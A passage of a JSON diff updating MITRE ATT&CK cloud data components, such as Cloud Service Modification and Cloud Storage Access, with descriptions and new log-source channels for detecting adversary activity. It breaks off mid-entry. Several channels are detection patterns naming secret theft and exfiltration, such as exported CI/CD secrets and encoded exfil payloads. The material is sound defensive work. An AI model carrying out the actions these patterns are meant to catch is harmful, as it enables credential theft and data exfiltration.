"x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0070\", \"external_id\": \"DC0070\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"CloudTrail:GetInstanceIdentityDocument\", \"channel\": \"GetInstanceIdentityDocument\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"rds:ExecuteStatement: Large data access via RDS or Aurora with unknown session context\"}, {\"name\": \"saas:github\", \"channel\": \"repo.download, repo.clone, oauth.authorize, repo.getContent\"}, {\"name\": \"AWS:CloudWatch\", \"channel\": \"unexpected IAM user or role assuming privileges for instance/snapshot operations\"}, {\"name\": \"CloudTrail:GetSecretValue\", \"channel\": \"API call to retrieve secret or access key\"}, {\"name\": \"CloudTrail:InvokeFunction\", \"channel\": \"InvokeFunction\"}, {\"name\": \"m365:sharepoint\", \"channel\": \"Multiple file download operations on a site by a privileged account in a short time window\"}, {\"name\": \"saas:github\", \"channel\": \"CI/CD secret accessed or exported\"}, {\"name\": \"m365:exchange\", \"channel\": \"Cmdlet - New-InboxRule\"}, {\"name\": \"m365:unified\", \"channel\": \"New-InboxRule, Set-InboxRule\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.276000+00:00\", \"old_value\": \"2025-04-18 15:15:27.794000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:35.943000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0069", + "external_id": "DC0069" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Service Modification", + "description": "Cloud service modification refers to changes made to the configuration, settings, or data of a cloud service. These modifications can include administrative changes such as enabling or disabling features, altering permissions, or deleting critical components. Monitoring these changes is critical to detect potential misconfigurations or malicious activity. Examples: \n\n- AWS Cloud Service Modifications: A user disables AWS CloudTrail logging (StopLogging) or deletes a CloudWatch configuration rule (DeleteConfigRule).\n- Azure Cloud Service Modifications: Changes to Azure Role-Based Access Control (RBAC) roles, such as adding a new Contributor role to a sensitive resource.\n- Google Cloud Service Modifications: Deletion of a Google Cloud Storage bucket or disabling a Google Cloud Function.\n- Office 365 Cloud Service Modifications: Altering mailbox permissions or disabling auditing in Microsoft 365.\n\nThis data component can be collected through the following measures:\n\nEnable Cloud Audit Logging\n\n- AWS: Enable AWS CloudTrail for logging management events such as StopLogging or DeleteTrail.\n- Azure: Use Azure Activity Logs to monitor resource changes and access actions.\n- Google Cloud: Enable Google Cloud Audit Logs to track API calls, resource modifications, and policy changes.\n- Office 365: Use Unified Audit Logs in Microsoft Purview to track administrative actions.\n\nCentralize Log Storage\n\n- Consolidate logs from all cloud providers into a SIEM or CSPM (Cloud Security Posture Management) tool.\n- Example: Use Splunk or Elastic Stack to ingest and analyze logs from AWS, Azure, and Google Cloud.\n\nAutomate Alerts for Sensitive Changes\n\n- Configure alerts for high-risk actions, such as disabling logging or modifying IAM roles.\n- AWS Example: Use AWS Config rules to detect and notify changes to critical services.\n- Azure Example: Set up Azure Monitor alerts for write actions on sensitive resources.\n\nEnable Continuous Monitoring\n\n- Use tools like AWS Security Hub, Azure Defender, or Google Chronicle to continuously monitor cloud service modifications for anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "CreateFunction" + }, + { + "name": "m365:unified", + "channel": "Creation of Power Automate flow triggered by OneDrive or Exchange event" + }, + { + "name": "AWS:CloudTrail", + "channel": "PutUserPolicy, PutGroupPolicy, PutRolePolicy, CreatePolicyVersion" + }, + { + "name": "AWS:CloudTrail", + "channel": "Condition block updated in IAM policy (e.g., aws:SourceIp, aws:RequestedRegion)" + }, + { + "name": "azure:activity", + "channel": "operationName: Write, Access Review, RoleAssignment" + }, + { + "name": "azure:policy", + "channel": "UpdatePolicy" + }, + { + "name": "AWS:CloudTrail", + "channel": "UpdateAccountPasswordPolicy" + }, + { + "name": "AWS:CloudTrail", + "channel": "PutIdentityPolicy" + }, + { + "name": "AWS:CloudTrail", + "channel": "LeaveOrganization: API calls severing accounts from AWS Organizations" + }, + { + "name": "CloudTrail:Organizations", + "channel": "CreateAccount: API calls creating new accounts in AWS Organizations" + }, + { + "name": "azure:audit", + "channel": "Tenant subscription transfers or new management group creation" + }, + { + "name": "AWS:CloudTrail", + "channel": "UpdateIdentityPolicy or DisableMFA" + }, + { + "name": "m365:unified", + "channel": "SendMessage" + }, + { + "name": "gcp:config", + "channel": "UpdateSink request modifying log export destinations" + }, + { + "name": "azure:policy", + "channel": "DisableAuditLogs or ConditionalAccess logging changes" + }, + { + "name": "CloudTrail:UpdatePolicy", + "channel": "UpdateFederationSettings or RegisterHybridConnector" + }, + { + "name": "AWS:CloudTrail", + "channel": "CreateTrafficMirrorSession / ModifyTrafficMirrorTarget" + }, + { + "name": "azure:activity", + "channel": "Microsoft.Network/networkWatchers/flowLogSettings/write" + }, + { + "name": "gcp:audit", + "channel": "compute.packetMirroring.insert" + }, + { + "name": "AWS:CloudTrail", + "channel": "CreateFunction / UpdateFunctionConfiguration: Function creation, role assignment, or configuration change events" + }, + { + "name": "m365:unified", + "channel": "AddFlow / UpdateFlow: New automation or workflow creation events" + }, + { + "name": "saas:appsscript", + "channel": "Create / Update: Deployment of scripts with event-driven triggers" + }, + { + "name": "saas:slack", + "channel": "Exported file or accessed admin API" + }, + { + "name": "AWS:CloudTrail", + "channel": "RequestServiceQuotaIncrease" + }, + { + "name": "azure:activity", + "channel": "MICROSOFT.AUTHORIZATION/POLICIES/WRITE" + }, + { + "name": "gcp:audit", + "channel": "projects.updateQuota or orgPolicies.updatePolicy" + }, + { + "name": "AWS:CloudTrail", + "channel": "Delete* / Stop*: DeleteAlarms, StopLogging, or DisableMonitoring API calls" + }, + { + "name": "AWS:CloudTrail", + "channel": "Use of temporary credentials issued from IMDS access" + }, + { + "name": "saas:github", + "channel": "Workflow triggered via pull_request_target from forked repo" + }, + { + "name": "azure:audit", + "channel": "Consent to application: OAuth application consent granted to service principal" + }, + { + "name": "saas:integration", + "channel": "New or modified third-party application integrations with elevated permissions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0069\", \"external_id\": \"DC0069\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateFunction\"}, {\"name\": \"m365:unified\", \"channel\": \"Creation of Power Automate flow triggered by OneDrive or Exchange event\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"PutUserPolicy, PutGroupPolicy, PutRolePolicy, CreatePolicyVersion\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Condition block updated in IAM policy (e.g., aws:SourceIp, aws:RequestedRegion)\"}, {\"name\": \"azure:activity\", \"channel\": \"operationName: Write, Access Review, RoleAssignment\"}, {\"name\": \"azure:policy\", \"channel\": \"UpdatePolicy\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"UpdateAccountPasswordPolicy\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"PutIdentityPolicy\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"LeaveOrganization: API calls severing accounts from AWS Organizations\"}, {\"name\": \"CloudTrail:Organizations\", \"channel\": \"CreateAccount: API calls creating new accounts in AWS Organizations\"}, {\"name\": \"azure:audit\", \"channel\": \"Tenant subscription transfers or new management group creation\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"UpdateIdentityPolicy or DisableMFA\"}, {\"name\": \"m365:unified\", \"channel\": \"SendMessage\"}, {\"name\": \"gcp:config\", \"channel\": \"UpdateSink request modifying log export destinations\"}, {\"name\": \"azure:policy\", \"channel\": \"DisableAuditLogs or ConditionalAccess logging changes\"}, {\"name\": \"CloudTrail:UpdatePolicy\", \"channel\": \"UpdateFederationSettings or RegisterHybridConnector\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateTrafficMirrorSession / ModifyTrafficMirrorTarget\"}, {\"name\": \"azure:activity\", \"channel\": \"Microsoft.Network/networkWatchers/flowLogSettings/write\"}, {\"name\": \"gcp:audit\", \"channel\": \"compute.packetMirroring.insert\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateFunction / UpdateFunctionConfiguration: Function creation, role assignment, or configuration change events\"}, {\"name\": \"m365:unified\", \"channel\": \"AddFlow / UpdateFlow: New automation or workflow creation events\"}, {\"name\": \"saas:appsscript\", \"channel\": \"Create / Update: Deployment of scripts with event-driven triggers\"}, {\"name\": \"saas:slack\", \"channel\": \"Exported file or accessed admin API\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"RequestServiceQuotaIncrease\"}, {\"name\": \"azure:activity\", \"channel\": \"MICROSOFT.AUTHORIZATION/POLICIES/WRITE\"}, {\"name\": \"gcp:audit\", \"channel\": \"projects.updateQuota or orgPolicies.updatePolicy\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Delete* / Stop*: DeleteAlarms, StopLogging, or DisableMonitoring API calls\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Use of temporary credentials issued from IMDS access\"}, {\"name\": \"saas:github\", \"channel\": \"Workflow triggered via pull_request_target from forked repo\"}, {\"name\": \"azure:audit\", \"channel\": \"Consent to application: OAuth application consent granted to service principal\"}, {\"name\": \"saas:integration\", \"channel\": \"New or modified third-party application integrations with elevated permissions\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.943000+00:00\", \"old_value\": \"2025-04-18 15:15:24.409000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.111000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0025", + "external_id": "DC0025" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Storage Access", + "description": "Cloud storage access refers to the retrieval or interaction with data stored in cloud infrastructure. This data component includes activities such as reading, downloading, or accessing files and objects within cloud storage systems. Common examples include API calls like GetObject in AWS S3, which retrieves objects from cloud buckets. Examples: \n\n- AWS S3 Access: An adversary uses the `GetObject` API to retrieve sensitive data from an AWS S3 bucket.\n- Azure Blob Storage Access: A user accesses a blob in Azure Storage using `Get Blob` or `Get Blob Properties`.\n- Google Cloud Storage Access: An adversary uses `storage.objects.get` to download objects from - OpenStack Swift Storage Access: A user retrieves an object from OpenStack Swift using the `GET` method.\n\nThis data component can be collected through the following measures:\n\nEnable Logging for Cloud Storage Services\n\n- AWS S3: Enable Server Access Logging to capture API calls like `GetObject` and store them in a designated S3 bucket.\n- Azure Storage: Enable Azure Storage Logging to capture operations like `GetBlob` and log metadata.\n- Google Cloud Storage: Enable Data Access audit logs for `storage.objects.get` API calls.\n- OpenStack Swift: Configure middleware for object logging to capture GET requests.\n\nCentralize and Aggregate Logs\n\n- Use a centralized logging solution (e.g., Splunk, ELK, or a cloud-native SIEM) to ingest and analyze logs from different cloud providers.\n - AWS Example: Use AWS CloudTrail to collect API activity logs and forward them to your SIEM.\n - Azure Example: Use Azure Monitor and Log Analytics to analyze storage access logs.\n\nCorrelate with IAM Logs\n\n- Combine storage access logs with IAM activity logs to correlate user actions with specific permissions and identities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "PutObject, CopyObject" + }, + { + "name": "AWS:CloudTrail", + "channel": "PutObject, GetObject, CopyObject, DeleteObject" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetObject" + }, + { + "name": "AWS:CloudTrail", + "channel": "PutObject: S3 writes with .sql/.csv extension by same identity or within 5 min of DB access" + }, + { + "name": "m365:unified", + "channel": "Accessed SharePoint files or pages" + }, + { + "name": "m365:unified", + "channel": "FileAccessed, FileDownloaded, ConsentGranted" + }, + { + "name": "gcp:workspaceaudit", + "channel": "download, authorization_grant" + }, + { + "name": "m365:sharepoint", + "channel": "AnonymousLinkCreated, FileDownloaded" + }, + { + "name": "m365:unified", + "channel": "App-only or delegated access patterns where client_id != known enterprise apps" + }, + { + "name": "saas:github", + "channel": "Artifact generated includes base64/encoded exfil payload or URL" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0025\", \"external_id\": \"DC0025\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"PutObject, CopyObject\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"PutObject, GetObject, CopyObject, DeleteObject\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetObject\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"PutObject: S3 writes with .sql/.csv extension by same identity or within 5 min of DB access\"}, {\"name\": \"m365:unified\", \"channel\": \"Accessed SharePoint files or pages\"}, {\"name\": \"m365:unified\", \"channel\": \"FileAccessed, FileDownloaded, ConsentGranted\"}, {\"name\": \"gcp:workspaceaudit\", \"channel\": \"download, authorization_grant\"}, {\"name\": \"m365:sharepoint\", \"channel\": \"AnonymousLinkCreated, FileDownloaded\"}, {\"name\": \"m365:unified\", \"channel\": \"App-only or delegated access patterns where client_id != known enterprise apps\"}, {\"name\": \"saas:github\", \"channel\": \"Artifact generated includes base64/encoded exfil payload or URL\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.111000+00:00\", \"old_value\": \"2025-04-18 15:13:49.144000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--59ec10d9-546b-4b8e-bccb-fa85f71e5055", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:39.305000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0024", + "external_id": "DC0024" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Storage Creation", + "description": "Cloud Storage Creation refers to the initial creation of a new cloud storage resource, such as buckets, containers, or directories, within a cloud environment. This action is critical to track as it might indicate the legitimate provisioning of resources or unauthorized actions taken by adversaries to stage, store, or exfiltrate data. Examples: \n\n- AWS S3 Bucket Creation: An AWS user creates a new S3 bucket using the `CreateBucket` API call.\n- Azure Blob Storage Container Creation: A user creates a new container in Azure Blob Storage using the `Create Container` operation.\n- Google Cloud Storage Bucket Creation: A Google Cloud user creates a new bucket using `storage.buckets.create`.\n- OpenStack Swift Container Creation: A user creates a new container in OpenStack Swift using the `PUT` method.\n\nThis data component can be collected through the following measures:\n\nEnable Logging for Cloud Storage Services\n\n- AWS S3: Enable AWS CloudTrail to log CreateBucket API actions.\n- Azure Blob Storage: Enable Azure Monitor and Diagnostic Logs for storage account activity. Use Azure Event Grid to capture Create Container operations.\n- Google Cloud Storage: Enable Data Access logs in Cloud Audit Logs to monitor storage.buckets.create API calls.\n- OpenStack Swift: Configure Swift logging to capture PUT requests to new containers.\n\nCentralized Logging and Analysis\n\n- Forward logs to centralized platforms like Splunk or cloud-native SIEM solutions for correlation and analysis.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "CreateBucket" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0024\", \"external_id\": \"DC0024\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateBucket\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.305000+00:00\", \"old_value\": \"2025-04-18 15:14:01.974000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--4c41e296-b8d2-4a37-b789-eb565c87c00c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:38.644000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0022", + "external_id": "DC0022" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Storage Deletion", + "description": "Cloud Storage Deletion refers to the removal or destruction of cloud storage infrastructure, such as buckets, containers, or directories, within a cloud environment. Monitoring this activity is critical to detecting potential unauthorized or malicious actions, such as data destruction by adversaries or accidental deletions that may lead to data loss. Examples: \n\n- AWS S3 Bucket Deletion: An AWS user deletes an S3 bucket using the `DeleteBucket` API call.\n- Azure Blob Storage Container Deletion: A user deletes a container in Azure Blob Storage using the `Delete Container` operation.\n- Google Cloud Storage Bucket Deletion: A Google Cloud user deletes a bucket using the `storage.buckets.delete` API.\n- OpenStack Swift Container Deletion: A user deletes a container in OpenStack Swift using the `DELETE` method.\n\nThis data component can be collected through the following measures:\n\nEnable Logging for Cloud Storage Services\n\n- AWS S3: Enable AWS CloudTrail to log DeleteBucket API actions.\n- Azure Blob Storage: Enable Azure Monitor and Diagnostic Logs to capture Delete Container operations. Use Azure Event Grid to capture and trigger alerts for container deletion.\n- Google Cloud Storage: Enable Data Access logs in Cloud Audit Logs to monitor storage.buckets.delete API calls.\n- OpenStack Swift: Configure Swift logging to capture DELETE requests for containers.\n\nCentralized Logging and Analysis\n\n- Use platforms like Splunk or native SIEMs to forward and analyze logs for anomalies in cloud storage deletions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "DeleteBucket, DeleteDBCluster, DeleteSnapshot, TerminateInstances" + }, + { + "name": "AWS:CloudTrail", + "channel": "PutBackupVaultAccessPolicy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0022\", \"external_id\": \"DC0022\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"DeleteBucket, DeleteDBCluster, DeleteSnapshot, TerminateInstances\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"PutBackupVaultAccessPolicy\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.644000+00:00\", \"old_value\": \"2025-04-18 15:13:58.772000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--fcc4811f-9cc8-4db5-8097-4d8242a380de", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:38.903000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0017", + "external_id": "DC0017" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Storage Enumeration", + "description": "Cloud Storage Enumeration involves retrieving a list of available cloud storage infrastructure, such as buckets, containers, or objects, within a cloud environment. This activity may be performed for legitimate administrative purposes or malicious reconnaissance by adversaries seeking to identify accessible storage resources.Examples:\n\n- AWS S3 Bucket Enumeration: An AWS user lists all buckets using the `ListBuckets` API call.\n- Azure Blob Storage Container Enumeration: A user retrieves a list of all containers within a storage account using the Azure Storage SDK or API.\n- Google Cloud Storage Bucket Enumeration: A Google Cloud user lists all buckets within a project using the `storage.buckets.list` API.\n- OpenStack Swift Container Enumeration: A user retrieves a list of containers in OpenStack Swift using the `GET` method on the storage endpoint.\n\nThis data component can be collected through the following measures:\n\nEnable Logging for Cloud Storage Enumeration\n\n- AWS S3: Enable AWS CloudTrail to capture ListBuckets and ListObjects API calls.\n- Azure Blob Storage: Enable Azure Monitor and Diagnostic Logs to capture enumeration operations like List Containers. Use Azure Event Grid to trigger alerts for container enumeration.\n- Google Cloud Storage: Enable Audit Logs in Google Cloud to track storage.buckets.list API activity.\n- OpenStack Swift: Configure Swift logging to capture GET requests for container enumeration.\n\nCentralized Log Aggregation\n\n- Use platforms like Splunk or native SIEM solutions to collect and analyze enumeration logs.\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "ListBuckets" + }, + { + "name": "AWS:CloudTrail", + "channel": "ListObjectsV2" + }, + { + "name": "azure:activity", + "channel": "List Blobs" + }, + { + "name": "gcp:storage", + "channel": "storage.objects.list" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0017\", \"external_id\": \"DC0017\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"ListBuckets\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ListObjectsV2\"}, {\"name\": \"azure:activity\", \"channel\": \"List Blobs\"}, {\"name\": \"gcp:storage\", \"channel\": \"storage.objects.list\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.903000+00:00\", \"old_value\": \"2025-04-18 15:13:55.587000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--e214eb6d-de8f-4154-9015-6d47915fbed1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:39.767000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0027", + "external_id": "DC0027" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cloud Storage Metadata", + "description": "Cloud Storage Metadata provides contextual information about cloud storage infrastructure and its associated activity. This data may include attributes such as storage name, size, owner, permissions, creation date, region, and activity metadata. It is essential for monitoring, auditing, and identifying anomalies in cloud storage environments. Examples: \n\n- AWS S3 Bucket Metadata: Metadata about an S3 bucket includes the bucket name, region, creation date, owner, storage class, and permissions.\n- Azure Blob Storage Metadata: Metadata for an Azure Blob container includes container name, access level (e.g., private or public), size, and tags.\n- Google Cloud Storage Metadata: Metadata includes bucket name, storage class, location, labels, lifecycle policies, and versioning status.\n- OpenStack Swift Metadata: Metadata for a Swift container includes name, access level, quota, and custom attributes.\n\nThis data component can be collected through the following measures:\n\nEnable Logging for Metadata Collection\n\n- AWS S3: Use AWS CloudTrail to log `GetBucketAcl`, `GetBucketPolicy`, and `HeadBucket` API calls.\n- Azure Blob Storage: Use Azure Monitor to log container metadata retrieval and updates.\n- Google Cloud Storage: Enable Google Cloud Audit Logs to capture `storage.buckets.get` and `storage.buckets.update`.\n- OpenStack Swift: Enable logging of `HEAD` or `GET` requests to containers.\n\nCentralized Log Aggregation\n\n- Use a SIEM solution (e.g., Splunk) to aggregate and analyze metadata retrieval and modification logs.\n- Correlate metadata access with user actions, IP addresses, and other contextual data.\n\nAPI Polling\n\n- Use cloud SDKs or APIs to periodically query metadata for analysis:\n - AWS CLI Example: `aws s3api get-bucket-acl --bucket company-sensitive-data`\n - Azure CLI Example: `az storage container show --name customer-records`\n - Google Cloud CLI Example: `gcloud storage buckets describe user-uploads`", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "Post-authentication metadata enumeration from GUI session" + }, + { + "name": "m365:unified", + "channel": "AnonymousLinkCreated" + }, + { + "name": "saas:box", + "channel": "collaboration.invite" + }, + { + "name": "saas:dropbox", + "channel": "Shared link created to external account" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0027\", \"external_id\": \"DC0027\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"Post-authentication metadata enumeration from GUI session\"}, {\"name\": \"m365:unified\", \"channel\": \"AnonymousLinkCreated\"}, {\"name\": \"saas:box\", \"channel\": \"collaboration.invite\"}, {\"name\": \"saas:dropbox\", \"channel\": \"Shared link created to external account\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.767000+00:00\", \"old_value\": \"2025-04-18 15:13:52.404000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": 